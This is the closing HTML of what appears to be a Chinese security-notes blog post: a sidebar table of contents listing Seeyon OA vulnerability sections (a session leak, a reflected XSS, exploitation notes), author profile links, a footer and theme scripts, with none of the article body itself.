href="#%E6%BC%8F%E6%B4%9E%E6%8F%8F%E8%BF%B0-7"><span class="nav-number">8.1.</span> <span class="nav-text">漏洞描述</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E6%BC%8F%E6%B4%9E%E5%BD%B1%E5%93%8D-3"><span class="nav-number">8.2.</span> <span class="nav-text">漏洞影响</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#9-3-%E5%A4%8D%E7%8E%B0%E6%B5%81%E7%A8%8B"><span class="nav-number">8.3.</span> <span class="nav-text">9.3. 复现流程</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E8%87%B4%E8%BF%9COA-getSessionList-jsp-Session%E6%B3%84%E6%BC%8F%E6%BC%8F%E6%B4%9E"><span class="nav-number">9.</span> <span class="nav-text">致远OA getSessionList.jsp Session泄漏漏洞</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#%E6%BC%8F%E6%B4%9E%E6%8F%8F%E8%BF%B0-8"><span class="nav-number">9.1.</span> <span class="nav-text">漏洞描述</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E6%BC%8F%E6%B4%9E%E5%BD%B1%E5%93%8D-4"><span class="nav-number">9.2.</span> <span class="nav-text">漏洞影响</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E5%A4%8D%E7%8E%B0%E6%B5%81%E7%A8%8B-3"><span class="nav-number">9.3.</span> <span class="nav-text">复现流程</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E8%87%B4%E8%BF%9COA%E5%B8%86%E8%BD%AF%E6%8A%A5%E8%A1%A8%E7%BB%84%E4%BB%B6%E5%8F%8D%E5%B0%84%E5%9E%8BXSS%E6%BC%8F%E6%B4%9E"><span class="nav-number">10.</span> <span class="nav-text">致远OA帆软报表组件反射型XSS漏洞</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#%E6%BC%8F%E6%B4%9E%E6%8F%8F%E8%BF%B0-9"><span class="nav-number">10.1.</span> <span class="nav-text">漏洞描述</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E6%BC%8F%E6%B4%9E%E5%BD%B1%E5%93%8D-5"><span class="nav-number">10.2.</span> <span class="nav-text">漏洞影响</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E5%A4%8D%E7%8E%B0%E6%B5%81%E7%A8%8B-4"><span class="nav-number">10.3.</span> <span class="nav-text">复现流程</span></a></li></ol></li></ol></li><li class="nav-item nav-level-1"><a class="nav-link" href="#%E7%BB%BC%E5%90%88%E5%88%A9%E7%94%A8EXP"><span class="nav-number"></span> <span class="nav-text">综合利用EXP</span></a></div>
</div>
<!--/noindex-->
<div class="site-overview-wrap sidebar-panel">
<div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
<img class="site-author-image" itemprop="image" alt="李钰璕"
src="/images/avatar.png">
<p class="site-author-name" itemprop="name">李钰璕</p>
<div class="site-description" itemprop="description">安全学习笔记</div>
</div>
<div class="site-state-wrap motion-element">
<nav class="site-state">
<div class="site-state-item site-state-posts">
<a href="/archives/">
<span class="site-state-item-count">89</span>
<span class="site-state-item-name">日志</span>
</a>
</div>
<div class="site-state-item site-state-categories">
<a href="/categories/">
<span class="site-state-item-count">17</span>
<span class="site-state-item-name">分类</span></a>
</div>
<div class="site-state-item site-state-tags">
<a href="/tags/">
<span class="site-state-item-count">115</span>
<span class="site-state-item-name">标签</span></a>
</div>
</nav>
</div>
<div class="links-of-author motion-element">
<span class="links-of-author-item">
<a href="https://github.com/Leeyuxun" title="GitHub → https://github.com/Leeyuxun" rel="noopener" target="_blank"><i class="fab fa-github fa-fw"></i></a>
</span>
<span class="links-of-author-item">
<a href="mailto:leeyuxun@163.com" title="E-Mail → mailto:leeyuxun@163.com" rel="noopener" target="_blank"><i class="fa fa-envelope fa-fw"></i></a>
</span>
</div>
</div>
<div class="back-to-top motion-element">
<i class="fa fa-arrow-up"></i>
<span>0%</span>
</div>
</div>
</aside>
<div id="sidebar-dimmer"></div>
</div>
</main>
<footer class="footer">
<div class="footer-inner">
<!--
<div class="copyright">
©
<span itemprop="copyrightYear">2023</span>
<span class="with-love">
<i class="fa fa-heart"></i>
</span>
<span class="author" itemprop="copyrightHolder">李钰璕</span>
</div>
-->
<div class="busuanzi-count">
<script async src="https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>
</div>
</div>
</footer>
</div>
<script src="/lib/anime.min.js"></script>
<script src="//cdn.jsdelivr.net/npm/jquery@3/dist/jquery.min.js"></script>
<script src="//cdn.jsdelivr.net/gh/fancyapps/fancybox@3/dist/jquery.fancybox.min.js"></script>
<script src="//cdn.jsdelivr.net/npm/pangu@4/dist/browser/pangu.min.js"></script>
<script src="/lib/velocity/velocity.min.js"></script>
<script src="/lib/velocity/velocity.ui.min.js"></script>
<script src="/js/utils.js"></script>
<script src="/js/motion.js"></script>
<script src="/js/schemes/pisces.js"></script>
<script src="/js/next-boot.js"></script>
<script src="/js/local-search.js"></script>
<script>
if (typeof MathJax === 'undefined') {
window.MathJax = {
loader: {
load: ['[tex]/mhchem'],
source: {
'[tex]/amsCd': '[tex]/amscd',
'[tex]/AMScd': '[tex]/amscd'
}
},
tex: {
inlineMath: {'[+]': [['$', '$']]},
packages: {'[+]': ['mhchem']},
tags: 'ams'
},
options: {
renderActions: {
findScript: [10, doc => {
document.querySelectorAll('script[type^="math/tex"]').forEach(node => {
const display = !!node.type.match(/; *mode=display/);
const math = new doc.options.MathItem(node.textContent, doc.inputJax[0], display);
const text = document.createTextNode('');
node.parentNode.replaceChild(text, node);
math.start = {node: text, delim: '', n: 0};
math.end = {node: text, delim: '', n: 0};
doc.math.push(math);
});
}, '', false],
insertedScript: [200, () => {
document.querySelectorAll('mjx-container').forEach(node => {
let target = node.parentNode;
if (target.nodeName.toLowerCase() === 'li') {
target.parentNode.classList.add('has-jax');
}
});
}, '', false]
}
}
};
(function () {
var script = document.createElement('script');
script.src = 'true';
script.defer = true;
document.head.appendChild(script);
})();
} else {
MathJax.startup.document.state(0);
MathJax.texReset();
MathJax.typeset();
}
</script>
</body>
</html>